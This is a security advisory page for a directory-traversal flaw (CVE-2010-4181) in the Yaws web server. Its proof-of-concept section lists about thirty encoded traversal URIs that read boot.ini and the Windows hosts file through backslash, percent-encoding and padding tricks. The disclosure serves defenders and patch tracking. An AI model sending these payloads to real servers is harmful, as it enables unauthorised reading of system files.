Yaws URI Directory Traversal Vulnerability

BID:44564

Info

Yaws URI Directory Traversal Vulnerability

Bugtraq ID: 44564
Class: Input Validation Error
CVE: CVE-2010-4181
Remote: Yes
Local: No
Published: Nov 01 2010 12:00AM
Updated: Nov 25 2011 07:06PM
Credit: nitr0us
Vulnerable: Yaws Yaws 1.91-1
Yaws Yaws 1.89
Not Vulnerable:

Discussion

Yaws URI Directory Traversal Vulnerability

Yaws is prone to a directory-traversal vulnerability because it fails to sufficiently sanitize user-supplied input.

Exploiting this issue may allow an attacker to obtain sensitive information that could aid in further attacks.

Yaws 1.89 is vulnerable; other versions may also be affected.

Exploit / POC

Yaws URI Directory Traversal Vulnerability

Attackers can exploit this issue through a browser.

The following example URIs are available:

http://www.example.com/..\..\..\boot.ini
http://www.example.com/..\..\..\windows\system32\drivers\etc\hosts
http://www.example.com/..%5c..%5c..%5cboot.ini
http://www.example.com/..%5c..%5c..%5cwindows%5csystem32%5cdrivers%5cetc%5chosts
http://www.example.com/%2e%2e\%2e%2e\%2e%2e\boot.ini
http://www.example.com/%2e%2e\%2e%2e\%2e%2e\windows\system32\drivers\etc\hosts
http://www.example.com/%2e%2e%5c%2e%2e%5c%2e%2e%5cboot.ini
http://www.example.com/%2e%2e%5c%2e%2e%5c%2e%2e%5cwindows%5csystem32%5cdrivers%5cetc%5chosts
http://www.example.com/..\\..\\..\\boot.ini
http://www.example.com/..\\..\\..\\windows\\system32\\drivers\\etc\\hosts
http://www.example.com/..\\\..\\\..\\\boot.ini
http://www.example.com/..\\\..\\\..\\\windows\\\system32\\\drivers\\\etc\\\hosts
http://www.example.com/..\/..\/..\/boot.ini
http://www.example.com/..\/..\/..\/windows\/system32\/drivers\/etc\/hosts
http://www.example.com/..\/\..\/\..\/\boot.ini
http://www.example.com/..\/\..\/\..\/\windows\/\system32\/\drivers\/\etc\/\hosts
http://www.example.com/\../\../\../boot.ini
http://www.example.com/\../\../\../windows/\system32/\drivers/\etc/\hosts
http://www.example.com//..\/..\/..\boot.ini
http://www.example.com//..\/..\/..\windows\/system32\/drivers\/etc\/hosts
http://www.example.com/.\..\.\..\.\..\boot.ini
http://www.example.com/.\..\.\..\.\..\windows\system32\drivers\etc\hosts
http://www.example.com/.\\..\\.\\..\\.\\..\\boot.ini
http://www.example.com/.\\..\\.\\..\\.\\..\\windows\\system32\\drivers\\etc\\hosts
http://www.example.com/././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././..\..\..\boot.ini
http://www.example.com/././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././..\..\..\windows\system32\drivers\etc\hosts
http://www.example.com////..\..\..\boot.ini
http://www.example.com////..\..\..\windows///system32///drivers///etc///hosts
http://www.example.com/\\\..\..\..\boot.ini
http://www.example.com/\\\..\..\..\windows\\\system32\\\drivers\\\etc\\\hosts

Solution / Fix

Yaws URI Directory Traversal Vulnerability

Solution:
Currently we are not aware of any vendor-supplied patches. If you feel we are in error or if you are aware of more recent information, please mail us at: [email protected].

References

Yaws URI Directory Traversal Vulnerability

References:

© CVE.report 2026

Use of this information constitutes acceptance for use in an AS IS condition. There are NO warranties, implied or otherwise, with regard to this information or its use. Any use of this information is at the user's risk. It is the responsibility of user to evaluate the accuracy, completeness or usefulness of any information, opinion, advice or other content. EACH USER WILL BE SOLELY RESPONSIBLE FOR ANY consequences of his or her direct or indirect use of this web site. ALL WARRANTIES OF ANY KIND ARE EXPRESSLY DISCLAIMED. This site will NOT BE LIABLE FOR ANY DIRECT, INDIRECT or any other kind of loss.

CVE, CWE, and OVAL are registred trademarks of The MITRE Corporation and the authoritative source of CVE content is MITRE's CVE web site. This site includes MITRE data granted under the following license.

Free CVE JSON API cve.report/api

CVE.report and Source URL Uptime Status status.cve.report